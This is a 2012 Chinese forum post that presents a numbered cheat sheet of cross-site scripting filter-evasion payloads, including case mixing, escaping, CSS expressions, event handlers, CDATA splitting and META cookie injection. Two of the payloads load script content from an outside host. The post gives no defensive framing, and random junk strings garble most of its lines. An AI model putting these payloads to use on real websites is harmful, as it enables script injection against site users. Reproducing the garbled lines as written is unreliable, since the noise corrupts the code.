找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2285|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
, E: Y2 B; Q: E
( N0 V0 Z/ P/ ?2 N8 C, }# O
. ^8 s6 E; D8 U$ S/ G; h- j1 A0 \7 p; d
    <sCript>alert(‘d’)</scRipT>7 e2 H/ Z) y  L& a% r

7 R8 m, O9 A+ G, i8 a8 e2. 利用多加一些其它字符来规避Regular Expression的检查6 Z, t! Y& L) P$ v3 i' z5 A: ^- P
+ i1 N2 z9 W8 M9 `( O. p' N
    <<script>alert(‘c’)//<</script>" _: w# H9 s- [

2 C' _2 {- X0 C# I    <SCRIPT a=">" SRC="t.js"></SCRIPT>
4 Q* [% X8 }8 w* M' b+ l  \$ E1 x1 y
    <SCRIPT =">" SRC="t.js"></SCRIPT>
% Z6 ^/ f; r! o2 ^  ^) h
  }$ U: \6 w! u- J    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
0 l7 T: Q* \0 c. Z* y" g) V- Y0 L$ t: ?7 A3 R4 Z/ Q) i
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>: X6 h) T. b, A5 ?4 O
  J% i$ k' H& R+ n5 ]1 s* q' S
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>9 i( U4 T  W2 D

# C4 k! [# \1 X$ Y/ E    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
) h+ D3 x+ A% e
0 a2 u- Y. Z# T. ^7 x7 q& {3. 以其它扩展名取代.js1 W% C7 ^, @* D: M" g( |
8 k& c4 ~5 ^+ U
    <script src="bad.jpg"></script>+ j" Y; x% [: `2 G0 ^
9 h7 N/ z; o/ B% R) ~# O0 _  P
4. 将Javascript写在CSS档里
" e; M, q. _0 r* I& c. M+ C# D
* t% U5 F; J1 |$ f- V    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
# f: @# y- S$ h3 ~1 D5 ?
- p4 d. x3 E  G: `" L9 O       example:7 C0 y/ b/ w1 Q

  m8 X6 p5 d% r! S0 L          body {; h0 H5 V! j9 l0 y% m
2 B+ ~( {7 S0 k/ B; M
               background-image: url(‘javascript:alert("XSS");’)
) j' _1 j( M% o8 x4 E: O( d( q; C. _% f' q& u$ `$ k% W" N
          }/ G8 e9 D4 ]1 S' @
" f4 c  F7 w* l8 q* R0 I" Z
5. 在script的tag里加入一些其它字符' W7 p3 j* A5 t0 R2 E
3 t3 S5 G0 n3 p- M
    <SCRIPT/SRC="t.js"></SCRIPT>" l2 m1 w9 w2 A* X7 J1 u1 k

8 C, ]' r5 J$ c3 D! L. L6 \    <SCRIPT/anyword SRC="t.js"></SCRIPT>9 d! {+ A& N) y$ S# U- ]
* Y7 y$ ^$ z5 s
6. 使用tab或是new line来规避
. l! ]# l/ B1 U
9 M4 f, Q; Q/ ?    <img src="jav ascr ipt:alert(‘XSS3′)">0 n2 t6 `5 `/ m4 c( a+ N4 d! V0 f

0 v) F, L2 M, Y) ?    <img src="jav ascr ipt:alert(‘XSS3′)">
3 c: C6 q- T) Z/ h) b: K/ [; _
7 ?: N/ B% n0 q! ^% r$ r, |    <IMG SRC="jav ascript:alert(‘XSS’);">
6 Z% Z1 T6 ~* ^; Z* s$ I9 P7 k+ p2 `7 I. o3 D# d$ }
         -> tag4 W1 @# M; P! t8 j" Q5 N  U! ^
+ y& s1 i. D& R7 V
         -> new line
, g4 R3 D7 w$ Y1 @
$ H% G1 ^4 p6 o7. 使用"\"来规避4 i+ V* Z5 o9 Y  ~

" R) e  U% \0 R  ^6 e5 w: ]4 n    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>! L$ i1 \! N( H( d- d( J. _
" W$ v8 c  n- o% V/ o" e
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>: @: e7 Y" {$ m

! s; E' F+ H& T& i/ N, i! j* |    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">/ T, s0 |1 S) r7 d# m/ M- G( p
+ Y. T9 W  ], i3 @* B" |) d
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 D  J' V' W1 m* e

+ _( J: v9 x3 W5 ?    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
7 T/ F& T( V! ?" n$ [+ S, Y4 w) l
: o4 d3 C+ m" I5 Q) @/ D8 H8. 使用Hex encode来规避(也可能会把";"拿掉)
9 b2 X+ v$ G3 @* m; X! A7 i- |% Q. c+ A: W+ ^1 t: v, x5 P
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">0 S/ U9 Q/ L; f. F3 C# I0 Z
1 X- N  N% w7 B8 r# q. S; O
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">7 Y) E+ {$ i- ]5 K

3 N& U& R4 r# F( ^1 F1 ?' H    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">& C. ]# y0 W) Q
9 a9 n' I: V/ P2 F5 M' t
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
1 K0 [2 n6 C9 w7 o  F; v+ b8 o7 ^; K' d& K0 H$ X* I' [
9. script in HTML tag
& j  e5 C5 D6 n; _3 @  q
! ?# `& q$ C) D5 C    <body onload=」alert(‘onload’)」>
( F. n! P/ |* f# R
/ F2 Z+ P4 s* V3 x! E7 M2 l        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
+ I) c; v" @$ d$ ^. O" F+ s) n/ x% c; z
10. 在swf里含有xss的code
/ N% g; [9 c9 L1 t1 X
0 w: G9 E, L, C, @, i! c    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>$ ?! Q7 D5 q6 ^/ e

' N, P0 U# m6 I# J' K11. 利用CDATA将xss的code拆开,再组合起来。
2 _( w- h& L2 [  G+ W* |7 X, V( t6 p7 m
    <XML ID=I><X><C>
$ _! y. d- J& a7 e/ o# l, R% }! C( D% O) q1 j/ {3 l' H
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>3 A2 Q$ H( O: ^" T7 k( c0 X
3 M% O' ?+ G( K
    </C></X>
7 V8 j+ T, |9 C2 H' l0 U3 Y" P& N, A' e: q# Z/ S3 h
    </xml>  |' k4 M" X: u7 A% O
! |8 `( d" h5 p8 }' G
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
* L6 `( e: e- {- z' }/ t0 J2 W
$ [* v! y3 w# O3 v" E% q    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
5 O& E5 h1 v+ S% }0 {& B9 [( C, @
5 h7 v* C/ L) H9 M- y1 \4 m4 @" c1 G( g    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>: b. _0 A, Q* J1 ]

, B( c, `$ _, O! \- E12. 利用HTML+TIME。
" ]% S$ T! q6 H4 z/ |: A4 ]' d: ]5 N+ p% \/ L: O3 j
    <HTML><BODY>  D; f& O/ x- q8 Q9 w" L
/ m5 P$ H' K9 O7 |% t/ k/ F/ n# F
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
9 Z- @% x" n2 U* ?6 e; O& @3 Q" [- G- M" _
    <?import namespace="t" implementation="#default#time2">, ~$ P, U! @, P1 c4 ~

. g9 Z; V: c1 o$ t5 V. e. |6 F8 I4 _    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
: [1 e4 z7 v3 T0 G# @# ]9 F2 B# J! r3 u% B3 U
    </BODY></HTML>
4 X! b9 R" c# X* `% T+ E! b" n6 s7 [$ I0 o) |0 ?0 x
13. 透过META写入Cookie。
: ~8 C1 R, e) F
1 _' ~4 _/ N* e, a) B    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">' j/ e* x- ~( G" V4 W3 l. L; `

. s: ]" _3 g; I( @' b14. javascript in src , href , url$ R) P( e$ b' {* _& `  p
9 J3 m/ W6 c/ ^5 ]/ [! B) W/ G
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>: L2 p- m5 Q0 Y5 S0 M

8 M) G  u2 S9 B+ d    <img src="javascript:alert(‘XSS3′)">/ J+ e. {# r* m* D" E

! \. g# _" `8 u<IMG DYNSRC="javascript:alert(‘XSS20′)">
# B6 f; B# b" w2 h& j8 y6 k
1 ]* ]! L6 T, D. Z    <IMG LOWSRC="javascript:alert(‘XSS21′)">
  g7 W6 e: R$ B) I8 Z" t  C
; v; W: S8 k; p4 }7 l$ O* r9 y    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
. I: p$ D2 Y3 d' f+ x/ Y6 K, x; c# i( H
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>( B/ ]* n- B0 y$ r; \

9 f$ q$ p# Q: n/ N2 W0 _, T    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">4 d9 w% l4 \) j$ K6 c
' u. D, J# s4 c+ G# Z0 L
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">& o" Z* t9 d% e. C
/ Y+ U4 J4 `- H' S$ U
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}  v4 k' K* Q8 t3 i9 {

2 b3 K2 x% C* u* s( L8 l& ~    </STYLE><A CLASS=XSS></A>
' @5 U6 D. A$ h8 W4 o& L% ]' k" v: Q1 [9 G: t& s
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>" y1 e( T, a1 ], J
0 ]0 Z, K  h; `' \2 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表